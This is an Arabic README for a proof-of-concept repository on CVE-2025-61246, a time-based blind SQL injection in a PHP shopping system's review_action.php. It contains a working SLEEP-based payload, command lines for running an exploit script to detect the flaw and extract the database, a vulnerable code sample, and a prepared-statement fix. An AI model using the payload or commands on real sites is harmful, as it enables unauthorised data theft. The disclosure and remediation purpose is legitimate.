
CVE-2025-61246: PoC لثغرة حقن SQL في نظام التسوق عبر الإنترنت PHP
يحتوي هذا المستودع على إثبات المفهوم (PoC) لثغرة CVE-2025-61246، وهي ثغرة حقن SQL حرجة تم اكتشافها في تطبيق Online Shopping System المبني على PHP. تسمح هذه الثغرة لمهاجم غير مصادَق بتنفيذ أوامر SQL عشوائية عبر حقن SQL الأعمى القائم على الوقت (Time-Based Blind SQL Injection).
/online-shopping-system-php-master/review_action.phpproIdتوجد الثغرة في نقطة النهاية review_action.php حيث يتم دمج المدخلات التي يوفّرها المستخدم من المعامل proId مباشرةً في استعلامات SQL دون تعقيم مناسب أو استخدام استعلامات مُعلَّمة. وهذا يسمح للمهاجم بحقن حمولات SQL خبيثة يمكنها:
// Vulnerable code (example)
$proId = $_POST['proId'];
$query = "SELECT * FROM products WHERE id = " . $proId;
mysqli_query($conn, $query);
يمكن للمهاجم استغلال هذه الثغرة من خلال:
/online-shopping-system-php-master/review_action.phpproIdproId=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
يتضمن هذا المستودع:
exploit.py) - سكربت بايثون لاكتشاف الثغرة واستغلالهاMANUAL_TESTING.md) - تعليمات خطوة بخطوة للاستغلال اليدويdocker-compose.yml) - بيئة Docker للاختبار الآمنREMEDIATION.md) - ممارسات البرمجة الآمنة والتصحيحاتPython 3.7+
pip install -r requirements.txt
# Clone the repository
git clone https://github.com/hackergovind/CVE-2025-61246.git
cd CVE-2025-61246
# Install dependencies
pip install -r requirements.txt
# Run the exploit
python exploit.py --url http://target.com/online-shopping-system-php-master/review_action.php
# Detection only (no exploitation)
python exploit.py --url http://target.com/review_action.php --detect-only
# Extract database name
python exploit.py --url http://target.com/review_action.php --extract-db
# Full exploitation with custom timeout
python exploit.py --url http://target.com/review_action.php --timeout 10 --full-exploit
# Use proxy for testing
python exploit.py --url http://target.com/review_action.php --proxy http://127.0.0.1:8080
يمكن أن يؤدي الاستغلال الناجح لهذه الثغرة إلى:
// Secure implementation using prepared statements
$proId = $_POST['proId'];
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $proId);
$stmt->execute();
$result = $stmt->get_result();
للحصول على خطوات معالجة مفصلة، راجع REMEDIATION.md.
⚠️ مهم: يُقدَّم إثبات المفهوم (PoC) هذا لأغراض تعليمية واختبارات أمنية مصرح بها فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذه المعلومات. احصل دائمًا على التصريح المناسب قبل الاختبار.
Govind Pratap Singh
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.
الإفصاح المسؤول: إذا اكتشفت ثغرة أمنية، يرجى الإبلاغ عنها بمسؤولية إلى البائع قبل الكشف العلني.